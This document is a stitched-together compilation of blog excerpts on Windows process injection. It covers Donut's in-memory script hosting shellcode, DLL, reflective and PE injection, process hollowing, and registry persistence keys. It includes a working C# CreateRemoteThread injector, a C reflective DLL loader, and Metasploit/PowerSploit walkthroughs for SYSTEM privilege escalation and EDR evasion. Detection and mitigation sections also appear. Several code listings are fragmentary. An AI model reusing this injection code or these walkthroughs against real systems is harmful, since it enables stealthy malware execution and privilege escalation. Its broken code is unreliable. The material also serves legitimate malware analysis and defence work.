; parser->lpVtbl->Release(parser);
push ebx
; engine->lpVtbl->Close(engine);
; engine->lpVtbl->Release(engine);
shl eax, 17
popad
ret
Two named objects (WSH and WScript) are added to the script namespace by
wscript.exe/cscript.exe that do not require instantiating at runtime. The ‘WScript’ object is
used primarily for console I/O, accessing arguments and the path of script on disk. It can also
be used to terminate a script via the Quit method or poll operations via the Sleep method. The
IActiveScript interface only provides basic scripting functionality, so if we want our host to
support those objects, or indeed any custom objects, they must be implemented manually.
Consider the following code taken from ReVBShell that expects to run inside WSH.
While True
Case "KILL"
SendStatusUpdate strRawCommand, "Goodbye!"
WScript.Quit 0
End Select
Wend
When this was used for testing Donut shellcode, the script engine stopped running upon
reaching the line “WScript.Quit 0” because it didn’t recognize the WScript object. “On Error
Resume Next” was enabled, and so the script simply kept executing. Once the name of this
object was added to the namespace via IActiveScript::AddNamedItem, a request for ITypeInfo
and IUnknown interfaces was made via IActiveScriptSite::GetItemInfo. If we don’t provide an
interface for the request, the parser calls IActiveScriptSite::OnScriptError with the message
“Variable is undefined ‘WScript'” before terminating.
To enable support for ‘WScript’ requires a custom implementation of the WScript interface
defined in type information found in wscript.exe/cscript.exe. First, add the name of the object
to the scripting engine’s namespace using AddNamedItem. This makes any methods,
properties and events part of this object visible to the script.
obj = SysAllocString(L"WScript");
Obtain the type information from wscript.exe or cscript.exe. IID_IHost is simply the class
identifier retrieved from aforementioned EXE files. Below is a screenshot of OleWoo, but other
TLB viewers may work just as well.
ITypeLib lpTypeLib;
ITypeInfo lpTypeInfo;
LoadTypeLib(L"WScript.exe", &lpTypeLib);
Now, when the scripting engine first encounters the ‘WScript’ object and requests an
IUnknown interface via IActiveScriptSite::GetItemInfo, Donut returns a pointer to a minimal
implementation of the IHost interface.
After this, the IDispatch::Invoke method will be used to call the ‘Quit’ method requested by
the script. At the moment, Donut only implements Quit and Sleep methods, but others can be
supported if requested.
XSL files can contain interpreted languages like JScript/VBScript. The following code found
here is based on this example by TheWover.
IXMLDOMDocument *pDoc;
IXMLDOMNode *pNode;
HRESULT hr;
PWCHAR xml_str;
VARIANT_BOOL loaded;
BSTR res;
xml_str = read_script(path);
// 1. Initialize COM
hr = CoInitialize(NULL);
if(hr == S_OK) {
hr = CoCreateInstance(
&CLSID_DOMDocument30,
NULL, CLSCTX_INPROC_SERVER,
&IID_IXMLDOMDocument,
(void**)&pDoc);
if(hr == S_OK) {
if(hr == S_OK) {
hr = pDoc->lpVtbl->QueryInterface(
if(hr == S_OK) {
// 5. execute script
pNode->lpVtbl->Release(pNode);
pDoc->lpVtbl->Release(pDoc);
CoUninitialize();
free(xml_str);
PC-Relative Addressing in C
The linker makes an assumption about where a PE file will be loaded in memory. Most EXE files
request an image base address of 0x00400000 for 32-bit or 0x0000000140000000 for 64-bit. If
the PE loader can’t map at the requested address, it uses relocation information to fix position-
dependent code and data. ARM has support for PC-relative addressing via the ADR, ADRP and
LDR opcodes, but poor old x86 lacks a similar instruction. x64 does support RIP-relative
addressing, but there’s no guarantee a compiler will use it even if we tell it to (-fPIC and -fPIE
for GCC). Because we’re using C for the shellcode, we need to manually calculate the address
of a function relative to where the shellcode resides in memory. We could apply relocations in
the same way a PE loader does, but self-modifying code can trigger some anti-malware
programs. Instead, the program counter (EIP on x86 or RIP on x64) is read using some
assembly and this is used to calculate the virtual address of a function in-memory. The
following code stub is placed at the end of the payload and returns the value of the program
counter.
#if defined(_MSC_VER)
#if defined(_M_X64)
return get_pc_stub();
#elif defined(_M_IX86)
__asm {
call pc_addr
pc_addr:
pop eax
sub eax, 5
ret
#endif
#elif defined(__GNUC__)
#if defined(__x86_64__)
__asm__ (
"call pc_addr\n"
"pc_addr:\n"
"pop %rax\n"
"sub $5, %rax\n"
"ret");
#elif defined(__i386__)
__asm__ (
"call pc_addr\n"
"pc_addr:\n"
"popl %eax\n"
"ret");
#endif
#endif
With this code, the linker will calculate the Relative Virtual Address (RVA) by subtracting the
offset of our target function from the offset of the get_pc() function. Then at runtime, it will
subtract the RVA from the program counter returned by get_pc() to obtain the Virtual Address
of the target function. The position of get_pc() must be placed at the end of a payload,
otherwise this would not work. The following macro (named after the ARM opcode ADR) is
used to calculate the virtual address of a function in-memory.
To illustrate how it’s used, the following code from the payload shows how to initialize the
IActiveScriptSite interface.
// Initialize IUnknown
// Initialize IActiveScriptSite
mas->site.lpVtbl->GetLCID = ADR(LPVOID, ActiveScript_GetLCID);
mas->site.m_cRef = 0;
mas->inst = inst;
After implementing support for some WScript methods, providing access to DLL functions
directly from VBScript/JScript using a similar approach is much easier to understand. The initial
problem is how to load type information directly from memory. One solution to this can be
found in A lightweight approach for exposing C++ objects to a hosted Active Scripting engine.
Confronted with the same problem, the author
uses CreateDispTypeInfo and CreateStdDispatch to create the ITypeInfo and IDispatch
interfaces necessary for interpreted languages to call C++ objects. The same approach can be
used to call DLL functions and doesn’t require COM registration.
https://0x1.gitlab.io/exploitation-tools/Donut/
https://modexp.wordpress.com/2019/07/21/inmem-exec-script/
Running code in the context of another process may allow access to the process’s memory,
system/network resources, and possibly elevated privileges. Execution via process injection
may also evade detection from security products since the execution is masked under a
legitimate process.
This method includes many sub-methods – the MITRE ATT&CK framework catalogued 11 sub–
techniques. In this article we will explore the three main process injection methods and
analyze this technique in the wild:
DLL injection
Classic DLL injection is one of the most popular techniques in use. First, the malicious process
injects the path to the malicious DLL in the legitimate process’ address space. The Injector
process then invokes the DLL via a remote thread execution. It is a fairly easy method, but with
some downsides:
2. Allocate the space for injecting the path of the DLL file.
Reflective DLL injection, unlike the previous method mentioned above, refers to loading a DLL
from memory rather than from disk. Windows does not have a LoadLibrary function that
supports this. To achieve the functionality, adversaries must write their own function, omitting
some of the things Windows normally does, such as registering the DLL as a loaded module in
the process, potentially bypassing DLL load monitoring.
1. Open target process and allocate memory large enough for the DLL.
3. Calculate the memory offset within the DLL to the export used for doing reflective
loading.
5. The reflective loader function finds the Process Environment Block of the target
process using the appropriate CPU register and uses that to find the address in
memory of kernel32.dll and any other required libraries.
6. Parse the exports directory of kernel32 to find the memory addresses of required API
functions such as LoadLibraryA, GetProcAddress, and VirtualAlloc.
7. Use these functions to then load the DLL (itself) properly into memory and call its entry
point, DllMain.
Attack flow:
This technique can be used to inject malicious executables or in tandem with a reflective
loading function.
PE Injection
Like Reflective DLL injection, PE injection does not require the executable to be on the disk.
This is the most often used technique seen in the wild. PE injection works by copying its
malicious code into an existing open process and causing it to execute. To understand how PE
injection works, we must first understand shellcode.
1. Get the current image base address and size from the PE header.
2. Allocate enough memory for the image inside the process’ own address space
using VirtualAlloc.
3. Have the process copy its own image into the locally allocated memory
using Memcpy function.
4. Call VirtualAllocEx to allocate memory large enough to fit the image in the target
process.
5. Copy the local image into the memory region allocated in the target process
using WriteProcessMemory function.
6. Calculate the remote address of the function to be executed in the remote process by
subtracting the address of the function in the current process by the base address of
the current process, then adding it to the address of the allocated memory in the
target process.
7. Finally create a new thread with the start address set to the remote address of the
function, using CreateRemoteThread.
Analyzing process injection in malware
Once we suspect a malware is injecting code into a legitimate process, we can verify our
findings by tracking the malware’s API calls. We can be alerted by analyzing suspicious network
activity from a legitimate process, or a legitimate process creating malicious files. We start by
using the API monitor tool and configuring it to monitor all process injection-related API
calls. (We’ve written above about the most common API calls, although there are also API calls
from the DLL NTDLM.dll, which preform the same job but are less frequently detected by anti-
malware products)
First, we configure all suspicious API calls into the monitor program. We will inspect an info-
stealer malware which preforms process injection.
Suspicious API:
• WriteProcessMemory / NtWriteVirtualMemory
• CreateRemoteThread / CreateRemoteThreadEX
We can configure the API by searching for it in the search bar and selecting the search box:
Once we have everything configured, we can run the file under monitoring, which will produce
the following output:
Clearly the process preforms process injection. We can now inspect the content of the
injection:
In the third function call we can see the buffer which clearly shows the injected shellcode. The
only problem is that we cannot drop the entire buffer page, so we will inspect further in a
debugger. In this example, we will use IDA debugger. Once the malware is loaded, we will
search for further APIs the API Monitor did not catch (you can search by keyboard combination
using CTRL + G):
CreateRemoteThread:
WriteProcessMemory:
Once we run until the breaking point of WriteProcessMemory, we look at the following
sections (pictured below):
Now let’s take a step back. The function WriteProcessMemory in MSDN is described as:
So, we are interested in the third parameter of this function as it is a pointer to the buffer
with the soon-to-be-injected code. If we follow the third parameter to the buffer, we find the
injected code once again:
Now we know the exact location of the injected code in the buffer. We can open HxD to look
into the process memory of the malware at the location of the injection. Now we can dump
the injected shellcode and analyze it (this shellcode downloads a .PNG file which is an
executable).
Cynet vs injection
Using Cynet360, we were able to detect a malicious process injection technique used within
Cobalt Strike Beacon.
Cobalt Strike is an Adversary Simulations and Red Team Operations application. It uses these
security assessments to simulate advanced adversaries penetrating a network. While
penetration tests focus on unpatched vulnerabilities and misconfigurations, these assessments
benefit security operations and incident response.
One of Cobalt Strike Beacon’s features is using unmanaged PowerShell DLL to execute a
PowerShell command without using powershell.exe.
By using the simple command powerpick / psinject an attacker can inject a DLL which will
execute a PowerShell command and evade most PowerShell detections.
Cynet blocked the injection of the unmanned PowerShell executable. The command the
attacker used on the PowerShell command is blocked. This can be a step in the attacker
payload which will identify this process as malicious and could potentially reveal a hidden
backdoor/hidden malicious file.
https://www.cynet.com/attack-techniques-hands-on/process-injection-techniques/
Introduction
Process injection is a camouflage technique used by malware. From the Task Manager, users
are unable to differentiate an injected process from a legitimate one as the two are identical
except for the malicious content in the former. Besides being difficult to detect, malware using
process injection can bypass host-based firewalls and specific security safeguards.
What is Process Injection Used For?
There are various legitimate uses for process injection. For instance, debuggers can use it to
hook into applications and allow developers to troubleshoot their programs. Antivirus services
inject themselves into browsers to investigate the browser’s behaviour and inspect internet
traffic and website content.
Process injections are techniques; they can be used for both legitimate and malicious
purposes. Because process injections are well-suited to hiding the true nature of action, they
are often used by malicious actors to hide the existence of their malware from the victim.
Some of the malicious activities that such actors can hide using process injections include data
exfiltration and keylogging. Often, victims fail to realise that malicious files have been
uploaded simply because the malicious processes are masked to look like innocuous ones.
While process injection can happen on all three major operating systems — Windows, Linux
and MacOS — this article will be focussing on Windows.
A Dynamic Link Library (DLL) file is a file containing a library of functions and data. It facilitates
code reuse as many programs can simply load a DLL and invoke its functions to do common
tasks.
DLL injection is one of the simplest techniques, and as such, is also one of the most common.
Before the injection process, the malware would need to have a copy of the malicious DLL
already stored in the victim’s system.
Step 1: The malware issues a standard Windows API call (OpenProcess) to attach to the victim
process. Due to the privilege model in Windows, the malware can only attach to a process that
is of equal or lower privilege than itself.
Step 2: A small section of memory is allocated within the victim process using VirtualAllocEx.
This memory is allocated using “write” access. The malware will then issue
WriteProcessMemory to store the path of the DLL to that memory location.
Step 3: The malware looks for the address of the LoadLibrary function within the victim
process’ space. This address will be used in Step 4.
Step 4: The malware calls CreateRemoteThread, passing in the address of LoadLibrary found in
Step 3. It will also pass in the DLL path that it created in Step 2. CreateRemoteThread will now
execute in the victim process and invoke LoadLibrary, which in turn loads the malicious DLL.
When the malicious DLL loads, the DLL entry method, DLLMain, will be invoked. This will be
where malicious activities will take place.
A Portable Execution (PE) is a Windows file format for executable code. It is a data structure
containing all the information required so that Windows knows how to execute it.
Step 2: The malware allocates enough memory in the victim process to insert its malicious PE
image.
Step 3: As the inserted image will have a different base address once it is injected into the
affected process, the malware will need to find the victim process’s relocation table offset
first. With this offset, the malware will modify the image so that any absolute addresses in the
image will point to the right functions. Once the malicious PE image has been updated, the
malware copies it into the process.
Step 4: The malware looks for the entry function to be executed and runs it using
CreateRemoteThread.
Unlike the first two techniques, where malware injects into a running process, process
hollowing is a technique where the malware launches a legitimate process but replaces the
process’ code with malicious code. The advantage of this technique is that the malware
becomes independent of what is currently running on the victim’s system. Furthermore, by
launching a legitimate process (e.g. Notepad or svchost.exe), users will not be alarmed even if
they were to look through the process list.
Step 1: The malware creates a legitimate process, like Notepad, but instructs Windows to
create it as a suspended process. This means that the new process will not start executing.
Step 2: The malware hollows out the process by unmapping memory regions associated with
it.
Step 3: The malware allocates memory for its own malicious code and copies it into the
process’ memory space. It then calls SetThreadContext on the victim process, which changes
the execution context of the process to that of the malicious one that was just created.
Step 4: The malware resumes the process; thereby executing the malicious code.
The two keys, Appinit_Dlls and AppCertDlls, that malware use for both injection and
persistence can be found here:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\Appinit_Dlls
HKLM\Software\Wow6432Node\Microsoft\Windows
NT\CurrentVersion\Windows\Appinit_Dlls HKLM\System\CurrentControlSet\Control\Session
Manager\AppCertDlls
While managing to add their entries in the registry has far reaching effects, modifying the
values of these keys requires the malware to have administrative rights.
Appinit_DLL
The Appinit_DLL registry key allows custom DLLs to be loaded into the address space of every
application. This allows software developers an easy way to hook onto system APIs defined in
user32.dll that will be used across every application. User32.dll is a system DLL that many
graphical applications will import as it contains functions such as controlling dialog boxes or
reacting mouse events.
Malware that successfully registers their malicious DLLs in this key will be able to intercept
system API calls for every graphical application for nefarious purposes.
To mitigate abuse, Windows 8 and later versions with secure boot enabled have automatically
disabled this mechanism. Microsoft does not allow developers to attain certification for
applications that rely on this in a bid to discourage developers from abusing this key.
AppCertDlls
This is similar to Appinit_DLL; malware that manages to add their DLLs to this registry key will
get to be imported by any application which calls functions like CreateProcess,
CreateProcessAsUser, CreateProcessWithLogonW, CreateProcessWithTokenW, and WinExec.
The Shim infrastructure, provided by Microsoft for backward compatibility, allows Microsoft to
update system APIs while not breaking applications. It does so by allowing API calls to be
redirected from Windows to an alternative code — the shim.
Windows comes with a Shim engine which checks a shim database for any applicable shims
whenever it loads a binary. Malware can install their own shim database on to an affected
program, and the Shim engine will load the malware’s DLL whenever the program is run. The
malware can then intercept any calls that the program makes.
Mitigation
By Developers
To mitigate against DLL injections, developers can hook into the LoadLibrary and
CreateRemoteThread system calls. By hooking into LoadLibrary, developers can perform a
library validation against a whitelist every time the function is called. If the DLL is on the
whitelist, LoadLibrary will be allowed to proceed. For CreateRemoteThread, if the developer
knows that he is not using that call, he can hook into it and disable the function’s capabilities.
However, such a method is not completely foolproof, and can be more trouble than it is worth
or impossible to implement. For example, if the application allows users to install plugins using
DLLs like Outlook, it would be impossible for the developers to implement either a whitelist or
a blacklist to LoadLibrary. Another example is an antivirus injecting itself into applications. If
the developer implemented a whitelist, his application could be blocked by the antivirus from
executing.
By System Administrators
As process injections are an integral part of the operating system, system administrators will
not be able to completely mitigate against malware using process injection techniques
specifically.
However, there are a few tools and techniques that can be considered to prevent and detect
process injection situations. Here are four of them:
3. Manage privileges and access using User Access Control (UAC). UAC is a built-in
mechanism in Windows that helps to mitigate the impact of malware. System
administrators should grant minimal privileges to users and disallow elevation of
privileges without the administrator’s consent. Any processes launched by a standard
user would inherit the user’s permissions and would be limited from making system
level changes. This prevents malware from conducting unauthorised operations such
as turning off the firewall or modifying registry settings.
4. Use exploit mitigation tools such as Microsoft’s Arbitrary Code Guard (ACG). It is an
exploit mitigation method that:
• Prevents a process from allocating new executable memory without code written to
disk.
ACG is a per-process configuration that system administrators can make to protect executables
from process injection. However, in-depth testing must be conducted to ensure that the
executable can still function properly, especially with EDR solutions. Also, while ACG makes it
harder for malware to create executable code in memory using DLL injections, remote
processes can still write to and execute shell code in an ACG enabled process.
Anti-malware tools with EDR and exploit mitigation tools such as ACG outlined above serve to
prevent process injection as it happens. Both of them will actively stop process injection
situations when they detect it. Applocker and UAC, which are both currently deployed in the
GSIB environment, aid in mitigating the impact of malware and its persistency if one manages
to slip through the net.
It is also important to note that process injection is transient; the malware process needs to
run first before it can inject. In order to survive a reboot, the malware would need a means of
running on system startup. Tight controls such as UAC and least privilege access controls would
severely hamper its ability to do so.
Conclusion
Process injection is a mechanism that Windows and many of its applications depend on. While
it was developed for legitimate purposes, it can be subverted by malware authors for nefarious
purposes. Even though it is difficult to counter process injection techniques, defence in depth
is still effective in countering the other stages of the malware’s infection lifecycle. Disrupting
any single stage in the malware’s lifecycle would be enough to prevent the malware’s
operators from achieving their goal.
https://medium.com/csg-govtech/process-injection-techniques-used-by-malware-
1a34c078612c
https://redcanary.com/threat-detection-report/techniques/process-injection/
DLL Injection
DLL Injection is a technique used to make a running process (executable) load a DLL without
requiring a restart (name makes it kind of obvious :p).
The purpose of the injector is to…inject the DLL into the target process. In order to do so:
One more thing: when the DLL is loaded, its DllMain() method (entry point) will be called
with DLL_PROCESS_ATTACH as reason (fdwReason).
For this tutorial I used a dummy DLL which displays a MessageBox once it’s successfully
loaded.
Note: always return true at the end - otherwise some processes will crash when injecting.
1
#include<Windows.h>
2
extern "C" __declspec(dllexport) bool WINAPI DllMain(HINSTANCE hInstDll, DWORD
3 fdwReason, LPVOID lpvReserved)
4 {
5 switch (fdwReason)
6 {
7 case DLL_PROCESS_ATTACH:
8 {
10 break;
11 }
12
13 case DLL_PROCESS_DETACH:
14 break;
15
16 case DLL_THREAD_ATTACH:
17 break;
18
19 case DLL_THREAD_DETACH:
20 break;
21 }
22 return true;
}
Ok, the fancy part. I kind of explained how all this works in the first part of the tutorial so just
remember: get the handle, allocate some memory on the process, write there the name of the
DLL and finally, create a thread that will call LoadLibraryA and load your DLL.
Also, check the comments in code and refer to the “theory” part of this article whenever you
feel the need to.
Here be sourcecode!
1
using System;
2
using System.Diagnostics;
3
using System.Runtime.InteropServices;
4
using System.Text;
5
6
public class BasicInject
7
{
8
[DllImport("kernel32.dll")]
9
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle,
10
int dwProcessId);
11
12
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
13
public static extern IntPtr GetModuleHandle(string lpModuleName);
14
15
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError =
16 true)]
18
22
26
[DllImport("kernel32.dll")]
27
static extern IntPtr CreateRemoteThread(IntPtr hProcess,
28
IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr
29
lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
30
31
// privileges
32
const int PROCESS_CREATE_THREAD = 0x0002;
33
const int PROCESS_QUERY_INFORMATION = 0x0400;
34
const int PROCESS_VM_OPERATION = 0x0008;
35
const int PROCESS_VM_WRITE = 0x0020;
36
const int PROCESS_VM_READ = 0x0010;
37
38
// used for memory allocation
39
const uint MEM_COMMIT = 0x00001000;
40
const uint MEM_RESERVE = 0x00002000;
41
const uint PAGE_READWRITE = 4;
42
43
public static int Main()
44
{
45
// the target process - I'm using a dummy process for this
46
// if you don't have one, open Task Manager and choose wisely
47
Process targetProcess = Process.GetProcessesByName("testApp")[0];
48
49
// geting the handle of the process - with required privileges
50
IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD |
51 PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE |
PROCESS_VM_READ, false, targetProcess.Id);
52
53
// searching for the address of LoadLibraryA and storing it in a pointer
54 IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"),
"LoadLibraryA");
55
56
// name of the dll we want to inject
57
string dllName = "test.dll";
58
59
// alocating some memory on the target process - enough to store the name of the
60
dll
61
// and storing its address in a pointer
62
IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero,
63 (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT |
MEM_RESERVE, PAGE_READWRITE);
64
65
// writing the name of the dll there
66
UIntPtr bytesWritten;
67
WriteProcessMemory(procHandle, allocMemAddress,
68 Encoding.Default.GetBytes(dllName), (uint)((dllName.Length + 1) *
Marshal.SizeOf(typeof(char))), out bytesWritten);
return 0;
https://codingvision.net/c-inject-a-dll-into-a-process-w-createremotethread
https://github.com/ihack4falafel/DLL-Injection
DLL Injection
DLL injection is a technique which allows an attacker to run arbitrary code in the context of the
address space of another process. If this process is running with excessive privileges then it
could be abused by an attacker in order to execute malicious code in the form of a DLL file in
order to elevate privileges.
3. The reflective loader function will try to find the Process Environment Block (PEB) of
the target process using the appropriate CPU register and from that will try to find the
address in memory of kernel32dll and any other required libraries.
5. The functions above will be used to properly load the DLL into memory and call its
entry point DllMain which will execute the DLL.
This article will describe the tools and the process of performing DLL injection with
PowerSploit, Metasploit and a custom tool.
Manual Method
DLL’s can be created from scratch or through Metasploitmsfvenom which can generate DLL
files that will contain specific payloads. It should be noted that a 64-bit payload should be used
if the process that the DLL will be injected is 64-bit.
The next step is to set up the metasploit listener in order to accept back the connection once
the malicious DLL is injected into the process.
There are various tools that can perform DLL injection but one of the most reliable is
the Remote DLL Injector from SecurityXploded team which is using
the CreateRemoteThread technique and it has the ability to inject DLL into ASLR enabled
processes. The process ID and the path of the DLL are the two parameters that the tool needs:
From the moment that RemoteDLLInjector executes will provide the full steps that performs in
order to achieve DLL injection.
If the DLL is successfully injected it will return back a meterpreter session with the privileges of
the process. Therefore processes with higher privileges than the standard can be abused for
privilege escalation.
Metasploit
Metasploit framework has a specific module for performing DLL injection. It only needs to be
linked into a meterpreter session and to specify the PID of the process and the path of the DLL.
Metasploit – Reflective DLL Injection Module
PowerSploit
Privilege escalation via DLL injection it is also possible with PowerSploit as well. The msfvenom
can be used to generate the malicious DLL and then through the task manager the PID of the
target process can be obtained. If the process is running as SYSTEM then the injected DLL will
run with the same privileges as well and the elevation will be achieved.
The Invoke-DLLInjection module will perform the DLL injection as the example below:
PowerSploit – DLL Injection
The payload inside the DLL will be executed and SYSTEM privileges will be obtained.
References
https://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html
https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html
https://github.com/stephenfewer/ReflectiveDLLInjection
https://www.nettitude.co.uk/dll-injection-part-two/
https://pentestlab.blog/tag/dll-injection/page/2/
Purpose
Technique Overview
The way the reflective injection works is nicely described by the technique's original author
Stephen Fewer here:
The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to
calculate the addresses of three functions required by the loader, namely LoadLibraryA,
GetProcAddress and VirtualAlloc.
The ReflectiveLoader will now allocate a continuous region of memory into which it will
proceed to load its own image. The location is not important as the loader will correctly
relocate the image later on.
The library's headers and sections are loaded into their new locations in memory.
The ReflectiveLoader will then process the newly loaded copy of its image's import table,
loading any additional library's and resolving their respective imported function addresses.
The ReflectiveLoader will then process the newly loaded copy of its image's relocation table.
The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with
DLL_PROCESS_ATTACH. The library has now been successfully loaded into memory.
Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called
it, or if it was called via CreateRemoteThread, the thread will terminate.
Execution
This lab assumes that the attacker has already gained a meterpreter shell from the victim
system and will now attempt to perform a reflective DLL injection into a remote process on a
compromised victim system, more specifically into a notepad.exe process with PID 6156
Reflective_dll.x64.dll is the DLL compiled from Steven Fewer's reflective dll injection project on
github.
After executing the post exploitation module, the below graphic shows how the notepad.exe
executes the malicious payload that came from a reflective DLL that was sent over the wire
from the attacker's system:
Observations
Once the metasploit's post-exploitation module is run, the procmon accurately registers that
notepad created a new thread:
Let's see if we can locate where the contents of reflective_dll.x64.dll are injected into the
victim process when the metasploit's post-exploitation module executes.
For that, lets debug notepad in WinDBG and set up a breakpoint for MessageBoxA as shown
below and run the post-exploitation module again:
0:007> bp MessageBoxA
0:007> bl
At this point, we can inspect the stack with kv and see the call trace. A couple of points to note
here:
return address the code will jump to after the USER32!MessageBoxA finishes is
00000000031e103e
inspecting bytes stored in 00000000031e9208, (dd 00000000031e9208 L1) we can see they
look like a memory address 0000000077331304 (note this address)
inspecting the EIP pointer (r eip) where the code execution is paused at the moment, we see
that it is the same 0000000077331304 address, which means that the earlier mentioned
instruction call qword ptr [00000000031e9208] is the actual call to USER32!MessageBoxA
This means that prior to the above mentioned instruction, there must be references to the
variables that are passed to the MessageBoxA function:
If we inspect the 00000000031e103e 0x30 bytes earlier, we can see some suspect memory
addresses and the call instruction almost immediatley after that:
Upon inspecting those two addresses - they are indeed holding the values the MessageBoxA
prints out upon successful DLL injection into the victim process:
0:007> da 00000000`031e92c8
0:007> da 00000000`031e92e8
Looking at the output of the !address function and correlating it with the addresses the
variables are stored at, it can be derived that the memory region allocated for the evil dll is
located in the range 031e0000 - 031f7000:
Indeed, if we look at the 031e0000, we can see the executable header (MZ) and the strings fed
into the MessageBoxA API can be also found further into the binary:
Detecting Reflective DLL Injection with Volatility
Malfind is the Volatility's pluging responsible for finding various types of code injection and
reflective DLL injection can usually be detected with the help of this plugin.
The plugin, at a high level will scan through various memory regions described by Virtual
Address Descriptors (VADs) and look for any regions with PAGE_EXECUTE_READWRITE
memory protection and then check for the magic bytes 4d5a (MZ in ASCII) at the very
beginning of those regions as those bytes signify the start of a Windows executable (i.e exe,
dll):
Note how in our case, volatility discovered the reflective dll injection we inspected manually
above with WindDBG:
I wanted to program a simplified Reflective DLL Injection POC to make sure I understood its
internals, so this is my attempt and its high level workflow of how I've implemented it:
Copy over DLL headers and PE sections to the memory space allocated in step 3
Steps 1-4 are pretty straight-forward as seen from the code below. For step 5 related to image
base relocations, see my notes T1093: Process Hollowing and Portable Executable Relocations
Portable Executables (PE) use Import Address Table (IAT) to lookup function names and their
memory addresses when they need to be called during runtime.
When dealing with reflective DLLs, we need to load all the dependent libraries of the DLL into
the current process and fix up the IAT to make sure that the functions that the DLL imports
point to correct function addresses in the current process memory space.
In order to load the depending libraries, we need to parse the DLL headers and:
Repeat process until all Import Descriptos have been walked through and all depending
libraries loaded
Before proceeding, note that my test DLL I will be using for this POC is just a simple
MessageBox that gets called once the DLL is loaded into the process:
Below shows the first Import Descriptor of my test DLL. The first descriptor suggests that the
DLL imports User32.dll and its function MessageBoxA. On the left, we can see a correctly
resolved library name that is about to be loaded into the memory process with LoadLibrary:
After the Import Descriptor is read and its corresponding library is loaded, we need to loop
through all the thunks (data structures describing functions the library imports), resolve their
addresses using GetProcAddress and put them into the IAT so that the DLL can reference them
when needed:
Once we have looped through all the Import Decriptors and their thunks, the IAT is considered
resolved and we can now execute the DLL. Below shows a successfully loaded and executed
DLL that pops a message box:
Code
#include "pch.h"
#include <iostream>
#include <Windows.h>
DWORD PageAddress;
DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
int main()
HANDLE dll =
CreateFileA("\\\\VBOXSVR\\Experiments\\MLLoader\\MLLoader\\x64\\Debug\\dll.dll",
GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
DWORD outSize = 0;
// allocate new memory space for the DLL. Try to allocate memory in the image's
preferred base address, but don't stress if the memory is allocated elsewhere
// get delta between this module's image base and the DLL that was read into memory
DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders-
>OptionalHeader.ImageBase;
// copy over DLL image headers to the newly allocated space for the DLL
// copy over DLL image sections to the newly allocated space for the DLL
section++;
DWORD relocationsProcessed = 0;
PBASE_RELOCATION_BLOCK relocationBlock =
(PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
PBASE_RELOCATION_ENTRY relocationEntries =
(PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);
for (DWORD i = 0; i < relocationsCount; i++)
relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);
if (relocationEntries[i].Type == 0)
continue;
DWORD_PTR addressToPatch = 0;
ReadProcessMemory(GetCurrentProcess(),
(LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR),
NULL);
addressToPatch += deltaImageBase;
std::memcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA),
&addressToPatch, sizeof(DWORD_PTR));
importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress
+ (DWORD_PTR)dllBase);
if (library)
thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase +
importDescriptor->FirstThunk);
if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
LPCSTR functionOrdinal =
(LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
thunk->u1.Function =
(DWORD_PTR)GetProcAddress(library, functionOrdinal);
else
PIMAGE_IMPORT_BY_NAME functionName =
(PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);
DWORD_PTR functionAddress =
(DWORD_PTR)GetProcAddress(library, functionName->Name);
thunk->u1.Function = functionAddress;
++thunk;
importDescriptor++;
CloseHandle(dll);
HeapFree(GetProcessHeap(), 0, dllBytes);
return 0;
References
https://github.com/stephenfewer/ReflectiveDLLInjection
https://www.joachim-bauch.de/tutorials/loading-a-dll-from-memory/
https://github.com/nettitude/SimplePELoader/
SharpShooter
Getting a foothold is often one of the most complex and time-consuming aspects of an
adversary simulation. We typically find much of our effort is spent creating and testing
payloads against various OS versions/architectures and against the most commonly used EDR
(Endpoint Detection and Response), anti-virus and sandboxing solutions. Many of these
solutions have become more focused and aware of PowerShell, as such we’ve naturally moved
away from PowerShell to research other techniques for getting into memory and evading
